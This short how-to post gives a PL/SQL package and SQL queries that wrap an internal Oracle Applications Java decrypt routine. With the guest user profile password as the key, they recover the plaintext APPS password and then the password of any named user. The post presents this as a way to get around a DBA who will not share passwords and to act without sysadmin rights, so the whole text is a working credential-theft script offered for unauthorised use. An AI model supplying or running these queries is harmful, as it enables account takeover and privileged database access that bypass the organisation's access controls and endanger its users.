How to retrieve the password of any user in Oracle Applications.

Working in Oracle Apps Environment is very challenging because many
times you do not have the passwords to logon to some user who is
complaining and DBA does not share any passwords with you and nor you
have the sysadmin or Application developer responsibility.

You need not to chase DBA again and again. Follow these simple steps.

--Create the Following Package

CREATE OR REPLACE PACKAGE get_pwd
AS
FUNCTION decrypt (
KEY IN VARCHAR2
,VALUE IN VARCHAR2
)
RETURN VARCHAR2;
END get_pwd;
/
CREATE OR REPLACE PACKAGE BODY get_pwd
AS
FUNCTION decrypt (
KEY IN VARCHAR2
,VALUE IN VARCHAR2
)
RETURN VARCHAR2
AS
LANGUAGE JAVA
NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String)
return java.lang.String';
END get_pwd;
/
/** Run Login Apps User on Toad/Oracle-- Will get apps password */
SELECT (SELECT get_pwd.decrypt (UPPER ((SELECT UPPER
(fnd_profile.VALUE ('GUEST_USER_PWD'))
FROM DUAL)), usertable.encrypted_foundation_password)
FROM DUAL) AS apps_password
FROM fnd_user usertable
WHERE usertable.user_name LIKE UPPER ((SELECT SUBSTR
(fnd_profile.VALUE ('GUEST_USER_PWD')
,1
, INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/')
- 1
)
FROM DUAL))

--Run this on toad will get all the usernames and passwords
SELECT usertable.user_name
, (SELECT get_pwd.decrypt (UPPER ((SELECT (SELECT get_pwd.decrypt
(UPPER ((SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD'))
FROM DUAL)), usertable.encrypted_foundation_password)
FROM DUAL) AS apps_password
FROM fnd_user usertable
WHERE usertable.user_name LIKE
UPPER ((SELECT SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD')
,1
, INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/')
- 1
)
FROM DUAL))))
,usertable.encrypted_user_password)
FROM DUAL) AS encrypted_user_password
FROM fnd_user usertable
WHERE usertable.user_name LIKE UPPER ('&username')

Once you run this select statement on sql or Toad after entering
username in where condition, you will get the password instantly.